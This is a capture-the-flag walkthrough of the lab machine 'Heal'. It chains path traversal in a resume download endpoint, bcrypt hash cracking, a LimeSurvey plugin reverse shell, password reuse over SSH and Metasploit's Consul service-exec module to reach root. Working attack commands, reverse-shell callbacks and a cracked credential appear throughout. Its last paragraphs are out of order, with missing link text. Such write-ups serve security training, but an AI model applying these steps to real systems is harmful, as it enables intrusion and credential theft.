We always begin by scanning for open ports to identify services exposed by the target. For this, I used RustScan, a faster alternative to Nmap that works well for large port ranges. Once it identifies the open ports, we feed them to Nmap to get detailed service and version information.
rustscan -a 10.10.11.46 -- -A
Open 10.10.11.46:22
Open 10.10.11.46:80
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
An initial Nmap scan detects an SSH service running on port 22 and a nginx web server on port
80 .
To access the webapp we have to add it to our /etc/hosts file
sudo echo "10.10.11.46 heal.htb"| sudo tee -a /etc/hosts
The first page is a normal login page but we dont have an account so lets create one
Creating an account we get an error saying something went wrong which is weird
A good habit to develope is look at the requests in burp and track everything from there. from the request Header Host we can see a subdomain called api.heal.htbwe dont have this subdomain in our /etc/hosts file hence the error occured
so we also add it to /etc/hosts and try to sign up again
sudo echo "10.10.11.46 api.heal.htb"| sudo tee -a /etc/hosts
Since we found a new subdomain its worth taking a look at it before we conitune.
we find that the application is built on
ruby rails version 7.1.4
ruby version 3.3.5.
take note of that since it's always good to take note of versions and in a real engagements this counts as a finding especially if they’re outdated or known to be vulnerable
Coming back to the main domain, we find a normal resume builder page that asks for some basic information.
After filling out the form, there's a button to download the resume as a PDF.
Shell as www-data
Again we have to look at each function in burp to analyze the request. here we find that the server sends an OPTIONS request to
/download?filename=resume.pdf
This stands out immediately. A filename parameter in the URL that isn’t sanitized or validated is a classic signal for Path Traversal. Let’s test for that.
But the response comes back with an error: "Invalid token".
Looking at previous successful requests, we spot the Authorization Bearer token. We resend the Path Traversal request with the same token added to the headers.
We now get the contents of /etc/passwd, which confirms an Path Traversal vulnerability.
From the /etc/passwd file, we can find some usernames such as
ralph
ron
Now that we know the app is Ruby on Rails, and we have Path Traversal, the next logical step is to extract application files. Let’s start with the Gemfile.
What is the Gemfile?
In Ruby on Rails applications, the Gemfile defines all the libraries (called "gems") the app depends on. It’s usually found in the project’s root directory.
Using our Path Traversal endpoint again:
/download?filename=../../Gemfile
We get:
source "https://rubygems.org"
ruby "3.3.5"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"
# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'
[** SNIP **]
This confirms the app is using:
SQLite3 (not a server-client database, but a file-based DB)
JWT and bcrypt, used to create the cookies
imgkit, related to the resume PDF generation
The sqlite3 gem is the most important clue here, as it suggests the app stores its database in a local file. Let’s try to find where.
Database.yml
In Rails, the config/database.yml file tells us where the database files live.
Using our Path Traversal again:
/download?filename=../../config/database.yml
We get:
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
And there it is. The SQLite database is stored at: storage/development.sqlite3
This file likely contains all user data, including emails, password hashes, tokens, and potentially session data.
john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(?)
1g 0:00:00:13 DONE (2025-05-14 22:52) 0.07462g/s 37.61p/s 37.61c/s 37.61C/s
teiubesc..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We continue to enumerate the web application and spot a feature named “Survey”. Attempting to access it redirects us to a new subdomain:
take-survey.heal.htb
Since this subdomain is unknown to our machine, we register it locally:
sudo echo "10.10.11.46 take-survey.heal.htb"| sudo tee -a /etc/hosts
Now, accessing http://take-survey.heal.htb, we explore the page source and identify the platform powering it: LimeSurvey.
lets try logging in using the username and password we have
ralph:147258369
We’re now logged into the LimeSurvey admin panel.
Navigating to the Configuration → Plugins reveals that we can upload a plugin. That’s a juicy attack surface—especially when combined with a known version. and as we can see, it runs on version 6.4.4 so all we're missing is the payload.
A quick GitHub search turns up a plugin-based reverse shell exploit specifically crafted for LimeSurvey. After cloning the repo, don’t forget to edit the revshell.php file to set your IP and port for the callback.
And of course ready your netcat at the port you chose
python exploit.py http://take-survey.heal.htb/ ralph 147258369 80
We now have a basic shell:
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.46:41004.
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
16:23:26 up 1 day, 1:22, 0 users, load average: 0.00, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
now you might see the shell is very unstable and extremly limited to upgrade it we can do the following
python3 -c "import pty;pty.spawn('/bin/bash')"
# Then press CTRL+Z to background the shell
CTRL+Z
stty raw -echo; fg
export TERM=xterm
Shell as ron
With shell access, we explore the LimeSurvey directory and locate the main config file:
Since the /etc/passwd file (from earlier Path Traversal) listed ron as a user, let’s attempt an SSH login using the PostgreSQL password as Ron's system password:
ssh ron@heal.htb
ron@heal.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
Last login: Sat May 24 20:37:29 2025 from 10.10.14.167
ron@heal:~$ ls
user.txt
PrivEsc
After gaining access, our first step is to enumerate open services:
These ports are strongly associated with HashiCorp Consul, a popular tool for service discovery and configuration in microservice environments.
to confirm that we can use
systemctl status consul.service
● consul.service - Consul Service Discovery Agent
Loaded: loaded (/etc/systemd/system/consul.service; enabled; vendor preset: enabled)
Active: active (running) since Sat 2025-05-24 15:04:46 UTC; 1 day 3h ago
Main PID: 1742 (consul)
But hey, what even is Consul ?
Consul is an open-source tool by HashiCorp that helps services in your infrastructure automatically find and communicate with each other. It provides service discovery, health checks, and secure communication—making it easier to manage microservices and distributed systems.
Since Consul is only accessible locally (127.0.0.1:8500), we need to port forward to access it through our machine:
ssh -L 8500:127.0.0.1:8500 ron@heal.htb
Upon visiting the UI we see some services running, also we note that the Consul version is 1.19.2.
Since we now know consul version is 1.19.2 we look for known exploits on exploitdb and github
searching on metasploit we find an exploit for conusl on that version so we go ahead and use it
msfconsole -q
msf6 > use multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/misc/consul_service_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > check
[+] 127.0.0.1:8500 - The target is vulnerable.
msf6 exploit(multi/misc/consul_service_exec) > run
[*] Started reverse TCP handler on 10.10.16.132:4444
[*] Creating service 'BkFpXlN'
[*] Service 'BkFpXlN' successfully created.
[*] Waiting for service 'BkFpXlN' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.16.132:4444 -> 10.10.11.46:57142) at 2025-05-25 22:54:20 -0400
[*] Removing service 'BkFpXlN'
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: root
meterpreter > cat /root/root.txt
Just becasue the metasploit way is easier doesnt mean it's wrong. always remember that hacking is about finding the easiest way to achive your goal not the most complex one 😉
Summary of Full Attack Chain
Stage
Action Taken
Recon
Nmap identifies SSH + Web
Web Exploitation
Ruby on Rails → Path Traversal
Loot Config Files
Extracted secrets from config files
User Shell
SSH access as ron
PrivEsc Recon
Found localhost-bound Consul services
Pivoting
Port forward 8500 → local
Exploit
Consul v1.19.2 → RCE via Metasploit
Root Shell
Reverse shell opens as root
Read Flag
Read /root/root.txt
According to , the default admin panel is available at /admin. Checking http://take-survey.heal.htb/admin, we are greeted with a login page. Let’s try the credentials we previously found:
Now we can access the UI via:
Visiting the and read a bit to understand how to work with this api. we note that the service list is typicly listed in /v1/agent/services
We Continue reading the and learn that we can register a new health check or service via an HTTP PUT request. If the Consul agent is running as root, and our HTTP call triggers a script execution, our script will also run as root..